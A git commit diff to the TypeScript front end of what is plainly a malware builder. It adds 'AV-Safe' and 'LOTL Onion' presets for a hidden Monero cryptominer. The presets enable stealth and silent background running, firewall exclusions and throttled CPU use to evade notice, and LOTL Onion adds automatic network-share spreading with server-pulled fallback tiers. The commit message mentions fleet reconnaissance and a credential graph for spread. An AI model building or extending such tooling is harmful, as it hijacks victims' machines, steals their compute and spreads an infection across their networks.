Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
|
||||
export type OperationModeId =
|
||||
| 'ghost_walk'
|
||||
@@ -7,7 +8,9 @@ export type OperationModeId =
|
||||
| 'sigil_mask'
|
||||
| 'hearth_whisper'
|
||||
| 'wildfire'
|
||||
| 'crucible_storm';
|
||||
| 'crucible_storm'
|
||||
| 'av_safe'
|
||||
| 'lotl_onion';
|
||||
|
||||
/** Seasonal / operation forge UI skins (CSS class suffix). */
|
||||
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
|
||||
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
|
||||
mesh_p2p: true,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'av_safe',
|
||||
label: 'AV-Safe',
|
||||
color: '#22d3a8',
|
||||
skin: 'aether',
|
||||
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
}),
|
||||
},
|
||||
{
|
||||
id: 'lotl_onion',
|
||||
label: 'LOTL Onion',
|
||||
color: '#38bdf8',
|
||||
skin: 'aether',
|
||||
blurb:
|
||||
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
|
||||
apply: (f) => ({
|
||||
...f,
|
||||
miner_execution: 'inprocess',
|
||||
gpu_enabled: false,
|
||||
process_hollowing: false,
|
||||
spread_kit: false,
|
||||
auto_spread: true,
|
||||
share_spread: true,
|
||||
usb_spread: false,
|
||||
remote_aggressive: false,
|
||||
obfuscate: false,
|
||||
stealth_mode: true,
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
file_logging: true,
|
||||
firewall_exclusion: true,
|
||||
fusion_enabled: false,
|
||||
mining_mode: 'idle',
|
||||
max_cpu_usage_pct: 50,
|
||||
thread_percent: 50,
|
||||
lotl_onion_enabled: true,
|
||||
lotl_policy_from_server: true,
|
||||
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
|
||||
}),
|
||||
},
|
||||
];
|
||||
|
||||
export function isOperationModeId(value: string): value is OperationModeId {
|
||||
|
||||
Reference in New Issue
Block a user